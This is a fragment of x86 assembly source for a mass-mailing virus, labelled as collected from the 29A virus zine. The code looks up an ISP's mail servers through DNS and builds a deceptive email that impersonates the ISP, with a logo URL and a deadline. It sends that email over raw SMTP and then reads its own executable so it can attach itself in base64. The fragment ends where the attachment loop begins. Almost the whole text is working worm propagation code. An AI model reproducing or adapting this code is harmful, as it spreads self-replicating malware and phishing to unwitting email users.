29a-7.013

从29A上收集的病毒源码

    cmp     dl, 26
    jge     postLetter
    add     dl, 'A'
    xor     al, al
    lea     edi, [ebp+szEmailAccount]
    mov     ecx, 25
    repne   scasb
    mov     byte ptr [edi-1], dl  
 
nameComplete:

;-------------------------------------------------------------------------------------------------;
; Get a mail server name.                                                                         ;
;-------------------------------------------------------------------------------------------------;

    ; query a DNS server for a list of the ISP's mail servers
    push    0
    pushptr lpResults
    push    0
    push    DNS_QUERY_STANDARD
    push    DNS_TYPE_MX
    pushptr szIspDomainName
    ApiCall DnsQuery_A
    cmp     eax, 0
    jne     exitThread
    
    ; was an answer record found?
    push    size DNS_RECORD
    pushval lpResults
    pushptr dnsRecordHeader
    ApiCall RtlMoveMemory
    mov     eax, [ebp+dnsRecordHeader.flags]
    and     al, 00000011b
    cmp     al, DNSREC_ANSWER
    jne     exitThread

    ; clear the szMailServer buffer
    push    132
    pushptr szMailServer
    ApiCall RtlZeroMemory
    
    ; get the host name from the DNS response message
    mov     eax, [ebp+lpResults]
    add     eax, size DNS_RECORD
    mov     eax, [eax]
    push    eax
    pushptr szMailServer
    ApiCall lstrcpyA    
    
    ; release the DNS record list
    push    DNS_FREE_RECORD_LIST_DEEP
    pushval lpResults
    ApiCall DnsRecordListFree

;-------------------------------------------------------------------------------------------------;
; Create the email message.                                                                       ;
;-------------------------------------------------------------------------------------------------;
     
    ; allocate 4k of memory for the email message
    push    4096
    push    GMEM_FIXED
    ApiCall GlobalAlloc
    cmp     eax, 0
    je      exitThread
    mov     [ebp+lpEmailMessage], eax	

    ; clear the buffer
    push    4096
    pushval lpEmailMessage
    ApiCall RtlZeroMemory

    ; concat part 1 of the email message
    pushptr szEmailPart1
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP domain name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 2 of the email message
    pushptr szEmailPart2
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the email account name
    pushptr szEmailAccount
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 3 of the email message
    pushptr szEmailPart3
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP domain name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 4 of the email message
    pushptr szEmailPart4
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA    
    
    ; concat part 5 of the email message
    pushptr szEmailPart5
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the logo URL
    pushptr szLogoUrl
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 6 of the email message
    pushptr szEmailPart6
    pushval lpEmailMessage
    ApiCall lstrcatA   

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 7 of the email message
    pushptr szEmailPart7
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA
    
    ; concat part 8 of the email message
    pushptr szEmailPart8
    pushval lpEmailMessage
    ApiCall lstrcatA    
    
    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 9 of the email message
    pushptr szEmailPart9
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 10 of the email message
    pushptr szEmailPart10
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 11 of the email message
    pushptr szEmailPart11
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the dead line date
    pushptr szDeadLine
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 12 of the email message
    pushptr szEmailPart12
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 13 of the email message
    pushptr szEmailPart13
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 14 of the email message
    pushptr szEmailPart14
    pushval lpEmailMessage
    ApiCall lstrcatA   
      
    ; get the year
    push    6
    pushptr szYear
    pushptr szYearFormat
    push    0
    push    0
    push    0
    ApiCall GetDateFormatA
        
    ; concat the year
    pushptr szYear
    pushval lpEmailMessage
    ApiCall lstrcatA   

    ; concat part 15 of the email message
    pushptr szEmailPart15
    pushval lpEmailMessage
    ApiCall lstrcatA   

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA
    
    ; concat part 16 of the email message
    pushptr szEmailPart16
    pushval lpEmailMessage
    ApiCall lstrcatA   

;-------------------------------------------------------------------------------------------------;
; Send the email message.                                                                         ;
;-------------------------------------------------------------------------------------------------;

    ; connect to the mail server
    mov     eax, 25
    lea     esi, [ebp+szMailServer]
    call    ConnectToHost
    cmp     eax, -1
    je      exitThread
    mov     [ebp+hSock], eax

    ; set the timeout duration
    mov     eax, 5000
    mov     esi, [ebp+hSock]
    lea     edi, [ebp+dwTimeOut]
    call    SetTimeOut

    ; get the server response
    push    0
    push    256        
    pushptr szResponse
    pushval hSock
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the HELO command
    pushptr szHeloPart1
    pushptr szCommand
    ApiCall lstrcpyA 
    pushptr szIspDomainName
    pushptr szCommand
    ApiCall lstrcatA 
    pushptr szHeloPart2
    pushptr szCommand
    ApiCall lstrcatA      

    ; send the HELO command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread
  
    ; recieve the server response
    push    0
    push    256        
    pushptr szResponse   
    pushval hSock       
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the MAIL FROM command
    pushptr szMailFromPart1
    pushptr szCommand
    ApiCall lstrcpyA
    pushptr szIspDomainName
    pushptr szCommand
    ApiCall lstrcatA    
    pushptr szMailFromPart2
    pushptr szCommand
    ApiCall lstrcatA
   
    ; send the MAIL FROM command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread

    ; recieve the server response
    push    0
    push    256         
    pushptr szResponse   
    pushval hSock        
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the RCPT TO command
    pushptr szRcptToPart1
    pushptr szCommand
    ApiCall lstrcpyA
    pushptr szEmailAccount
    pushptr szCommand
    ApiCall lstrcatA
    pushptr szRcptToPart2
    pushptr szCommand
    ApiCall lstrcatA
    pushptr szIspDomainName
    pushptr szCommand
    ApiCall lstrcatA
    pushptr szRcptToPart3
    pushptr szCommand
    ApiCall lstrcatA

    ; send the RCPT TO command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread
      
    ; recieve the server response
    push    0
    push    256         
    pushptr szResponse  
    pushval hSock      
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the DATA command
    pushptr szData
    pushptr szCommand
    ApiCall lstrcpyA

    ; send the DATA command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread

    ; recieve the server response
    push    0
    push    256          
    pushptr szResponse   
    pushval hSock       
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; send the email message
    mov     edi, [ebp+lpEmailMessage]
sendMessage:
    push    0
    push    1        
    push    edi      
    pushval hSock     
    ApiCall send
    cmp     eax, -1
    je      exitThread
    inc     edi
    cmp     byte ptr [edi], 0
    jne     sendMessage      

;-------------------------------------------------------------------------------------------------;
; Send the file attachment.                                                                       ;
;-------------------------------------------------------------------------------------------------;

    ; get the path and name of this program
    push    256
    pushptr szModuleName
    push    0
    ApiCall GetModuleFileNameA
    
    ; open this program
    push    0
    push    0
    push    OPEN_EXISTING
    push    0
    push    FILE_SHARE_READ
    push    GENERIC_READ
    pushptr szModuleName
    ApiCall CreateFileA
    cmp     eax, -1
    je      exitThread
    mov     [ebp+hFile], eax

    ; get the size of the file
    push    0
    pushval hFile
    ApiCall GetFileSize
    cmp     eax, -1
    je      exitThread

    ; calculate the number of 3 byte base64 groups
    xor     edx, edx
    mov     ebx, 3
    div     ebx
    mov     ecx, eax

    ; send the base64 encoded file data 
sendAttachment: